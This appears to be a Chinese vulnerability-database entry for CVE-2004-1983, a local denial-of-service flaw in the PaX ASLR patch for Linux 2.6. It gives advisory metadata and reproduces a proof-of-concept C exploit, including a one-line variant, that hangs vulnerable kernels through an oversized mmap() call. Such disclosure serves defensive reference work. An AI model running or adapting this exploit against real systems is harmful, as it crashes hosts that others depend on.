PaX 2.6内核补丁拒绝服务漏洞

PaX 2.6内核补丁拒绝服务漏洞

漏洞ID 1107922 漏洞类型 其他
发布时间 2004-05-03 更新时间 2005-10-20
图片[1]-PaX 2.6内核补丁拒绝服务漏洞-安全小百科CVE编号 CVE-2004-1983
图片[2]-PaX 2.6内核补丁拒绝服务漏洞-安全小百科CNNVD-ID CNNVD-200405-004
漏洞平台 Linux CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/24078
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200405-004
|漏洞详情
PaX是用于LinuxKernel的入侵防止补丁。Linuxkernel在启用PaXAddressSpaceLayoutRandomizationLayout模块时存在问题,可导致本地拒绝服务攻击。攻击者利用这个漏洞可使内核进入无限循环而崩溃。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/10264/info

PaX for 2.6 series Linux kernels has been reported prone to a local denial of service vulnerability. The issue is reported to present itself when PaX Address Space Layout Randomization Layout (ASLR) is enabled. 

The vulnerability may be exploited by a local attacker to influence the kernel into an infinite loop.
*/

/*
  PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-concept
  by Shadowinteger <[email protected]>
  2004-05-04

  Written after reading the security advisory posted by borg (ChrisR-) on
  Bugtraq 2004-05-03 (my time). ChrisR -> www.cr-secure.net

  Acknowledgments: sabu (www.sabu.net)


  Vulnerability:
    PaX code for 2.6.x prior to 2004-05-01 in arch_get_unmapped_area()
    (function in mm/mmap.c) is vulnerable to a local Denial of Service attack
    because of a bug that puts the kernel into an infinite loop.

    Read the security advisory for more info:
    http://www.securityfocus.com/archive/1/361968/2004-04-30/2004-05-06/0


  Exploitation:
    We need to get passed the following line of code in
    arch_get_unmapped_area() to succeed with a DoS:
        if (TASK_SIZE - len < addr) { ...

    We do it like this:

    TASK_SIZE - TYPICAL_ADDR + SINK = DOSVAL

    DOSVAL is the value we'll use.

    arch_get_unmapped_area() does the following:

    if TASK_SIZE-DOSVAL < TYPICAL_ADDR then... run right into the vuln code.
    (TASK_SIZE-DOSVAL) *must* be less than TYPICAL_ADDR to succeed.

    A DOSVAL of e.g. 0x80000000 or above will work most times, no real need
    for the funky calculation above.

    There are quite a few functions available that are "front-ends" to
    arch_get_unmapped_area(). This exploit uses good-old mmap().


  Tiny DoS PoC:

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
int main(void){int fd=open("/dev/zero",O_RDONLY);mmap(0,0xa0000000,PROT_READ,MAP_PRIVATE,fd,0);}

*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdio.h>

#define TASK_SIZE 0xc0000000
#define TYPICAL_ADDR 0x43882000
#define SINK 0x04000000

#define DOSVAL (TASK_SIZE - TYPICAL_ADDR + SINK)

int main() {
    int fd = open("/dev/zero", O_RDONLY);

    printf("PaX w/ CONFIG_PAX_RANDMMAP for Linux 2.6.x DoS proof-of-conceptn"
           "by Shadowinteger <[email protected]> 20040504n"
           "created after a sec advisory on bugtraq posted by borg (ChrisR-) 20040503n"
           "ChrisR -> www.cr-secure.netn"
           "n"
           "the exploit binary must be marked PF_PAX_RANDMMAP to work!n"
           "n"
           "greetz goes to: sabu (www.sabu.net)n"
           "n"
           "------------------------------------------------------------------------------n"
           "will exec "mmap(0, 0x%x, PROT_READ, MAP_PRIVATE, fd, 0);"n"
           "n"
           "if you run Linux 2.6.x-PaX or -grsec, this may "hurt" your CPU(s) a little,n"
           "are you sure you want to continue? [type Y to continue] ", DOSVAL);
    fflush(stdout);

    if (getchar() != 'Y') {
        printf("aborted.n");
        return 0;
    }

    printf("n"
           "attempting to DoS...n");

    if (mmap(0, DOSVAL, PROT_READ, MAP_PRIVATE, fd, 0) == MAP_FAILED) {
        perror("mmap");
    }

    printf("your kernel does not seem to be vulnerable! :)n");

    return 0;
}
|参考资料

来源:XF
名称:pax-aslr-enabled-dos(16037)
链接:http://xforce.iss.net/xforce/xfdb/16037
来源:BID
名称:10264
链接:http://www.securityfocus.com/bid/10264
来源:pax.grsecurity.net
链接:http://pax.grsecurity.net/
来源:BUGTRAQ
名称:20040502PaXLinuxKernel2.6PatchesDoSAdvisory
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=108360001130312&w;=2
来源:GENTOO
名称:GLSA-200407-02
链接:http://security.gentoo.org/glsa/glsa-200407-02.xml
来源:BUGTRAQ
名称:20040509PaXDoSproof-of-concept
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=108420555920369&w;=2

相关推荐: Boozt! Buffer Overflow Vulnerability

Boozt! Buffer Overflow Vulnerability 漏洞ID 1102616 漏洞类型 Boundary Condition Error 发布时间 2002-01-07 更新时间 2002-01-07 CVE编号 N/A CNNVD-ID…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享